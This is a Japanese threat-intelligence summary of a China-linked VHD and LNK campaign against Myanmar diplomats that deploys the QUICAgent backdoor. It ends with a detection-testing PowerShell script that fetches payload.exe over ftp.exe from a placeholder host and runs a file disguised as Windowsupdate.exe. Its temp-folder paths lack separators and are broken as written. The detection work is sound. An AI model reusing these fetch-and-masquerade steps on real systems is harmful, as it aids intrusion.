中国との関係があるアクター、VHDファイルを使用してミャンマーの外交官を狙う

概要

中国に関連する脅威アクターが、仮想ハードディスク（VHD）ファイルを介した多段感染チェーンを通じてミャンマー政府職員を標的にしています。このキャンペーンは、悪意のあるLNKファイルを使用して ftp.exe を悪用し、ペイロードの再構築を行い、QUICAgentと呼ばれるカスタムのGoベースのバックドアを配備します。このマルウェアはCloudflare Workersを利用して動的なC2解決を行い、QUICプロトコルを介して通信します。

調査

Seqrite APTチームは、デコイ文書を含むVHDサンプルを分析し、PDFファイルとして偽装された悪意のあるLNKファイルを特定しました。調査では、2つのファイルを copy コマンドを使用して結合し実行ファイルを再構築するスプリットペイロード技術を発見しました。QUICAgentインプラントの技術分析では、SHA-256ハッシュを繰り返し、カスタムTLS証明書検証を通じたサンドボックス回避も明らかになりました。

緩和策

組織は信頼されていないLNKファイルの実行を制限し、 ftp.exeを含む疑わしい子プロセスを監視する必要があります。仮想ハードディスク（VHD）の使用に関連する厳しい管理と、QUICを使用したUDPポート443での異常なネットワークトラフィックの監視が推奨されます。既知の悪意のあるCloudflare Workerエンドポイントをブロックすることで、キャンペーンのC2解決メカニズムを妨害することもできます。

対応

QUICSILVER活動が検出された場合、影響を受けたシステムは即座に隔離し、さらなるデータの外部送信とC2通信を停止する必要があります。調査官は %LOCALAPPDATA% フォルダ内の Windowsupdate.exe バイナリを調べ、ユーザーのスタートアップフォルダに SystemIn.lnkがあるかを確認する必要があります。また、既知のC2ドメインおよびIPアドレスへの接続がないかネットワークログを分析し、侵害の範囲を特定する必要があります。

シミュレーション実行

前提条件：テレメトリとベースラインの事前チェックが合格していること。

理由：このセクションは、検出ルールをトリガーすることを目的とした敵対者の技術（TTP）の正確な実行を詳述しています。コマンドと説明は、特定されたTTPを直接反映し、検出ロジックに期待される正確なテレメトリを生成することを目的としています。抽象的または無関係な例は誤診に繋がります。

• 攻撃の説明とコマンド： 敵対者は、正当なシステムプロセスを模倣して足がかりを確立することを目指しています。まず、 ftp.exe をスクリプトファイル（-s:）で使用し、悪意のあるペイロードをダウンロードし、管理タスクの自動化になりすますことを試みます。同時に、ペイロードの実行を隠すために「Windows Update」バイナリ（名前を変更）の展開をシミュレートします。最後に、ユーザーの操作を介して持続性を確保するように設計された悪意のある .lnk ファイルを作成するPowerShellスクリプトを使用します。

• 回帰テストスクリプト：

  # 1. FTPスクリプトベースのダウンロードをシミュレートします（トリガー1パートA）
  $ftpScript = "open ftp.example.com`nuser anonymous anonymous`nget payload.exe`nquit"
  $ftpScript | Out-File -FilePath "$env:TEMPftp_script.txt" -Encoding ASCII
  Start-Process "ftp.exe" -ArgumentList "-s:$env:TEMPftp_script.txt" -Wait
  
  # 2. Windowsupdate.exeの実行をシミュレートします（トリガー1パートB）
  # 注：Windowsupdate.exeという名前のファイルが存在するか、呼び出されていることを前提とします
  # シミュレーションのためにダミーファイルを作成して実行します
  New-Item -Path "$env:TEMPWindowsupdate.exe" -ItemType File -Force
  Start-Process "$env:TEMPWindowsupdate.exe"
  
  # 3. PowerShell LNKの作成をシミュレートします（トリガー2）
  Start-Process "powershell.exe" -ArgumentList "-Command", "Write-Output 'create_lnk_process_running'"

• クリーンアップコマンド：

  # シミュレートされたアーティファクトの削除
  Remove-Item -Path "$env:TEMPftp_script.txt" -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPWindowsupdate.exe" -ErrorAction SilentlyContinue